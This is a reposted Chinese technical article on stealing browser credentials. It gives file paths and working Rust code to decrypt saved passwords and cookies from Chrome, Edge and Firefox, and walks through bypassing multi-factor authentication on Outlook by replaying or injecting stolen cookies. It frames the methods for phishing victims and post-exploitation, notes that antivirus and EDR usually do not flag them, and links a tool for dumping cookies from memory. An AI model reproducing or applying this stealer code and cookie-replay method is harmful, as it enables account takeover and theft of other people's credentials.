免责声明
由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
欢迎关注本公众号,长期推送技术文章
1. 前言
本文介绍提取三种常见浏览器Password和Cookie的原理以及关键代码实现,测试版本为最新版浏览器。
2. 凭据获取 -- Password
通过提取浏览器保存的账号和密码,可以对用户账户或内网关键系统进行访问和利用。
获取方法: 获取浏览器密码存储文件并解密相关加密字段。
2.1 提取原理
这里分别以浏览器内核做分析,Chrome和Edge均为Chromium内核,Firefox为Gecko内核。
2.1.1 Chromium内核
-
Chrome密码文件路径:
%LocalAppData%GoogleChromeUser DataDefaultLogin Data
; -
Chrome密钥文件路径:
%LocalAppData%GoogleChromeUser DataLocal State
; -
Edge密码文件路径:
%LocalAppData%MicrosoftEdgeUser DataDefaultLogin Data
; -
Edge密钥文件路径:
%LocalAppData%MicrosoftEdgeUser DataLocal State
;
将该文件复制一份将后缀名改为db(本身就是sqlite),即可用数据库工具打开;
关键字段:
-
origin_ur -- url
-
username_value -- 账号
-
password_value -- 密码
加密类型: DPAPI加密、AES加密;
2.1.1.1 解密方法
Chromium内核的浏览器加密的密码跟cookies加密一样,都是调用DPAPI进行解密AES密钥,再用AES进行解密即可。
2.1.1.2 代码实现
DPAPI 解密代码:
fn crypt_unprotect_data(crypted_bytes: &[u8]) -> windows::core::Result<Vec<u8>> {
let len = crypted_bytes.len();
let mut bytes = Vec::from(crypted_bytes);
let pb = bytes.as_mut_ptr();
let mut blob = CRYPTOAPI_BLOB {
pbData: pb,
cbData: len as u32,
};
let mut out = Vec::with_capacity(len);
let mut blob_out = CRYPTOAPI_BLOB {
pbData: out.as_mut_ptr(),
cbData: out.len() as u32,
};
unsafe {
CryptUnprotectData(
&mut blob,
std::ptr::null_mut(),
std::ptr::null(),
std::ptr::null_mut(),
std::ptr::null(),
0,
&mut blob_out,
)
.ok()?;
let slice = std::slice::from_raw_parts(blob_out.pbData, blob_out.cbData as usize);
LocalFree(blob_out.pbData as isize);
Ok(slice.to_vec())
}
}
AES解密代码:
pub fn decrypt_cookie(key: Vec<u8>, encrypted_value: Vec<u8>) -> (String, Vec<u8>) {
if encrypted_value.len() == 0{
return (String::from(" "), Vec::new());
}
let iv: &[u8] = &encrypted_value[3..15];
let encrypted_value = &encrypted_value[15..];
let cipher = Aes256Gcm::new(&GenericArray::from_slice(&key));
if let Ok(decrypted) = cipher.decrypt(GenericArray::from_slice(iv), encrypted_value) {
if let Ok(decoded) = String::from_utf8(decrypted) {
return(decoded, iv.to_vec());
}
}
return (String::new(), Vec::new());
}
2.1.2 Gecko内核
Firefox密码文件路径:
C:Users<USERS>AppDataRoamingMozillaFirefoxProfilesxxxxxxx-releaselogins.json;
关键字段:
-
hostname -- url;
-
encryptedUsername -- 账号;
-
encryptedPassword -- 密码;
Firefox密钥文件路径:
C:Users<USERS>AppDataRoamingMozillaFirefoxProfilesxxxxxxx-releasekey4.db;
加密类型:SHA256加密、3DES-CBC加密;
2.1.2.1 解密方法
算法解密
firefox中的masterpassword默认不设置(为空),如果设置则需要提供masterpassword进行解密,否则会解密失败。
解密过程:
通过提取key4.db中的metadata表和nssprivate表中的特定值进行SHA1和SHA256加解密处理获得3DES的密钥,然后将logins.json中的加密账号密码提取,进行3DES解密获得明文账号密码。
详细解密流程图:
关键代码
解密item跟解密a11的流程是一样的,decrypt_pbe函数演示了如何解密a11值,解析item只需要判断解析后的结果是否为"password-check";
SHA1加密+PBKDF2解密获取SHA256的密钥:
fn sha1_encrypt(
entry_salt: Vec<u8>,
interation_count: u32,
hex_byte_salts: Vec<u8>,
master_password: String
) -> Vec<u8> {
let mut sha1_hasher = Sha1::new();
sha1_hasher.update(hex_byte_salts);
sha1_hasher.update(master_password);
let k = sha1_hasher.finalize().to_vec();
let mut key = vec![0u8; 32];
pbkdf2::<Hmac<Sha256>> (&k, &entry_salt, interation_count, &mut key).unwrap();
key
}
SHA256解密获取3DES解密密钥:
fn sha256_decrypt(
key: Vec<u8>,
iv: Vec<u8>,
ciphert: Vec<u8>
) -> Vec<u8> {
let key_array: &[u8; 32] = array_ref!(key, 0, 32);
let cipher = Cipher::new_256(key_array);
let decrypted = cipher.cbc_decrypt(&iv, &ciphert);
log::debug!("decrypt_data is: {:?}",decrypted);
decrypted[..24].to_vec()
}
DER解析获取加密需要的值:
fn decrypt_pbe(
a11: Vec<u8>,
master_password: String,
global_salt: String
) -> (Vec<u8>, u32, u64, Vec<u8>, Vec<u8>, Vec<u8> ) {
let item = parse_der(&a11).unwrap();
assert_eq!(item.1[0][0].content.clone().as_oid().unwrap().to_string(), "1.2.840.113549.1.5.13", "No encryption method recognized");
assert_eq!(item.1[0][1][0][0].content.clone().as_oid().unwrap().to_string(), "1.2.840.113549.1.5.12", "No encryption method recognized");
assert_eq!(item.1[0][1][0][1][3][0].content.clone().as_oid().unwrap().to_string(), "1.2.840.113549.2.9", "No encryption method recognized");
assert_eq!(item.1[0][1][1][0].content.clone().as_oid().unwrap().to_string(), "2.16.840.1.101.3.4.1.42", "No encryption method recognized");
let entry_salt = item.1[0][1][0][1][0].content.as_slice().unwrap();
let interation_count = item.1[0][1][0][1][1].content.as_u32().unwrap();
let key_length = item.1[0][1][0][1][2].content.as_u64().unwrap();
assert_eq!(key_length, 32);
let hex_byte_salts = hex::decode(global_salt.as_bytes()).unwrap();
log::debug!("all is: {:?}", item);
log::debug!("global_salt is: {:?}", hex_byte_salts);
log::debug!("key_length is: {:?}", key_length);
log::debug!("interation_count is: {:?}", interation_count);
let mut iv: Vec<u8> = Vec::new();
let iv_end = item.1[0][1][1][1].as_slice().unwrap();
iv.push(4);
iv.push(14);
iv.extend_from_slice(iv_end);
let ciphert = item.1[1].as_slice().unwrap();
log::debug!("iv is: {:?}", iv);
log::debug!("ciphert is: {:?}", ciphert);
(entry_salt.to_vec(), interation_count, key_length, hex_byte_salts, iv, ciphert.to_vec())
}
3DES解密获取明文密码:
pub fn des3_decrypt(
key: Vec<u8>,
encryptdata: &str
) -> String {
log::debug!("encryptdata is: {}", encryptdata);
log::debug!("key is: {:?}", key);
let base53_data = base64::decode(encryptdata).unwrap();
let iv = &base53_data[34..42];
let mut ciphertext = base53_data[44..].to_vec();
type TDesCbc = Decryptor<TdesEde3>;
let tdes = TDesCbc::new_from_slices(&key, iv).unwrap();
let result = tdes.decrypt_padded_mut::<Pkcs7>(&mut ciphertext).unwrap();
log::debug!("decrypt_data is: {:?}", String::from_utf8_lossy(result));
String::from_utf8(result.to_vec()).unwrap()
}
调用dll解密
调用Firefox nss3.dll中的函数进行解密;
nss3.dll调用函数:
-
NSS_Init -- nss初始化;
-
PK11_GetInternalKeySlot -- 获取内置的密钥槽(solt);
-
PK11_CheckUserPassword -- 验证用户提供的密码是否与给定的密钥槽(slot)关联的用户密码匹配;
-
PK11_Authenticate -- 对密钥槽(slot)进行授权;
-
PK11SDR_Decrypt -- 解密;
参考代码:
https://github.com/unode/firefox_decrypt
3. 凭据获取 -- Cookie
上面演示了如何提取浏览器保存的密码,但如果登录的服务开启了多因素认证,不仅登录不上去还可能因为接收到相关验证码从而被发现,这种情况就体现出Cookie的重要性了。
3.1 绕过多因素(MFA)
多因素身份验证(MFA)是一种验证用户身份的方式,比传统的用户名与密码组合更加安全。MFA 通常包含一个密码,但同时也包含一个或两个其他身份验证因素。双因素身份验证是 MFA 的一种。
常见的多因素:
-
短信验证:登录时会收到一条包含验证码的短信,输入正确的验证码后完成认证。
-
邮箱验证:登录时绑定的邮箱会收到一封包含验证码的邮件,输入正确的验证码后完成认证。
-
身份验证器:使用身份验证应用程序(例如Google Authenticator、Microsoft Authenticator)生成动态验证码。
-
生物识别认证:包括指纹识别、面部识别、虹膜扫描等生物特征的认证方式。
如果控制了绑定邮箱或电脑手机同步(例如:Microsoft 手机连接),还可能绕过基于短信和邮箱的MFA登录,但是生物识别和身份验证器这两种方式就很难去绕过;
3.1.1 Cookies绕过MFA
绕过MFA最常见的方法为中间人攻击和令牌窃取(Cookies);中间人攻击的利用方式也是获取受害人的令牌(Cookies)进行登录。
3.1.1.1 利用场景
钓鱼
通过钓鱼攻击,受害人点击恶意程序窃取浏览器Cookie并将其发送到公网上。
后渗透
内网中需要登录关键系统,但该关键系统正常登录需要MFA认证,如果Cookie未过期则可以通过获取Cookie绕过MFA登录;
3.1.1.2 绕过方法
以outlook为例,outlook的Cookie分为存储Cookie和动态Cookie;
例如:登录outlook成功后,outlook服务器会返回一些Cookie,存储型Cookie会直接保存在本地,动态Cookie会随着浏览器关闭而消失。
利用动态Cookie登录其他用户outlook
获取方法:中间人攻击、在内存中提取Cookie;
通过两台主机一台登录outlook账号,一台没有登录outlook账号对比访问https://outlook.live.com/mail/0
的过程;
先看没有outlook Cookie的访问outlook邮箱,访问/mail/0
后,会接着POST请求/owa/0/startupdata.ashx?app=Mail&n=0
,响应码为440 Login Timeout,接着就会跳转至登录页面;
再看存在outlook Cookie的访问outlook邮箱,POST请求/owa/0/startupdata.ashx?app=Mail&n=0
,响应码为200;接着就会加载outlook邮箱页面了;
到此有一个猜想,如果我将响应码200的Cookie复制到响应码440的Cookie上去,可不可以直接进入其outlook?于是用burp将访问/owa/0/startupdata.ashx?app=Mail&n=0
的POST请求拦截,将Cookie换成存在前面响应码200的Cookie,响应200,接着会获取加载outlook邮箱内容,但是只替换这一个包不够,如果后面的请求包中不包含登录成功用户的Cookie一样会跳转到登录页面;
这里可以用浏览器插件Cookie-Editor,将登录成功的outlook Cookie导出成json格式;
未登录outlook主机这边,burp开启拦截模式,直接访问https://outlook.live.vom/mail/0
,将这个请求包Forward后,会请求svg邮箱动态图片,在这个时候继续用浏览器插件Cookie-Editor,将上面导出的json内容导入,然后burp停止拦截,即可成功登录。
存储型Cookie登录其他人员outlook
获取方式:提取本地浏览器Cookies文件中的Cookie;
Cookie导入
只获取存储Cookie则需要与服务器进行交互获取动态Cookie,如果写脚本来完成这个过程则每个网站都要编写一个脚本,所以可以将Cookie导入到本地的浏览器中,让浏览器自动完成这个过程;
之前尝试了导入到chrome的Cookie文件中,加密导入之后chrome不识别这些Cookie,尝试了将本地Cookie文件复制一份并将其注入、直接注入到原生的Cookie文件中,这两种方法都不行,这里判断Chromium对Cookie文件 进行类似完整性检查的操作;
Chromium内核的浏览器不行(可以看一些源码,但费时间),可以尝试下别的内核的浏览器,例如:Firefox,Firefox浏览器存储的Cookies是明文的,且不做完整性检测,可以将Cookie注入到Firefox的Cookies文件中。
当前主机名为WIN-2016
的主机上登录outlook;
将主机WIN-2016
的chrome中的Cookies提取出来;
将提取出来的Cookie文件放到本地,将Firefox浏览器的Cookie复制一份,将其清空再将Cookie处理导入到该数据库中;
打开构造好的数据库可以看到Cookie信息,Firefox存储的Cookie值是明文的;
将原来的Cookies.sqlite替换掉;
打开Firefox浏览器访问outlook即可实现登录。
3.2 提取Cookie原理及利用
3.2.1 本地提取Cookies文件
3.2.1.1 提取Cookie原理
chrome浏览器自行生成密钥,将Cookie的值进行AES加密,将密文和其他信息保存到%LocalAppData%GoogleChromeUser DataDefaultNetworkCookies
中,将Cookies文件赋值一份出来并将后缀改为.db;
再通过navicat打开即可看到Cookies文件内容,其中encrypted_vlaue字段的内容及为加密后的Cookie值;
加密Cookie的密钥通过DPAPI加密保存至%LocalAppData%GoogleChromeUser DataLocal State
中,在json中"os_crypt"中的"encrypted_key"的值为加密密钥。
优缺点
优点:
-
无视Cookie分区存储,只获取存储Cookie,后面可以经过与网站交互获取动态Cookie;
缺点:
-
需要关闭浏览器(否则Cookies文件会被占用);
-
需要DPAPI解密(但是大部分杀软EDR不报警);
-
只能获取存储Cookie,某些网站会存在动态Cookie,直接导入会登录失败(outlook);
3.2.1.2 提取流程
提取Cookies流程:
-
提取Cookie文件密文;
-
提取加密密钥;
-
通过DPAPI将密钥解密;
-
再通过解密后的密钥AES解密Cookie密文;
chrome Cookies加密流程图:
3.2.1.3 代码实现
DPAPI 解密代码:
fn crypt_unprotect_data(crypted_bytes: &[u8]) -> windows::core::Result<Vec<u8>> {
let len = crypted_bytes.len();
let mut bytes = Vec::from(crypted_bytes);
let pb = bytes.as_mut_ptr();
let mut blob = CRYPTOAPI_BLOB {
pbData: pb,
cbData: len as u32,
};
let mut out = Vec::with_capacity(len);
let mut blob_out = CRYPTOAPI_BLOB {
pbData: out.as_mut_ptr(),
cbData: out.len() as u32,
};
unsafe {
CryptUnprotectData(
&mut blob,
std::ptr::null_mut(),
std::ptr::null(),
std::ptr::null_mut(),
std::ptr::null(),
0,
&mut blob_out,
)
.ok()?;
let slice = std::slice::from_raw_parts(blob_out.pbData, blob_out.cbData as usize);
LocalFree(blob_out.pbData as isize);
Ok(slice.to_vec())
}
}
AES解密代码:
pub fn decrypt_Cookie(key: Vec<u8>, encrypted_value: Vec<u8>) -> (String, Vec<u8>) {
if encrypted_value.len() == 0{
return (String::from(" "), Vec::new());
}
let iv: &[u8] = &encrypted_value[3..15];
let encrypted_value = &encrypted_value[15..];
let cipher = Aes256Gcm::new(&GenericArray::from_slice(&key));
if let Ok(decrypted) = cipher.decrypt(GenericArray::from_slice(iv), encrypted_value) {
if let Ok(decoded) = String::from_utf8(decrypted) {
return(decoded, iv.to_vec());
}
}
return (String::new(), Vec::new());
}
3.2.2 内存中提取Cookies
3.2.2.1 提取Cookies原理
基于Chromium 内核的浏览器在启动时调用CookieMonster 从磁盘 Cookie 数据库加载所有 Cookie;对目标主机内网进行内存扫描,通过特定浏览器特征码定位CookieMonster 内存地址并转储Cookies。
优缺点
优点:
-
无需关闭浏览器进程;
-
获取对应网站的所有Cookie(动态Cookie+存储Cookie),直接导入即可成功登录;
-
不需要用DPAPI解密;
缺点:
-
只能转储常规Cookie,Chromium后面会将Cookie分区存储;
3.2.2.2 提取流程
提取流程如下:
-
定位chrome进程pid;
-
在进程中寻找chrome.dll的基地址和大小;
-
通过三次特征查询定位CookieMonster 管理Cookie的内存地址;
-
在CookieMonster地址中读取每个Cookie内容;
工具地址:
https://github.com/Meckazin/ChromeKat
本文转载自Seebug Paper
原文作者:Mac.Asure
原文地址:https://paper.seebug.org/3152/
往期精彩:
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论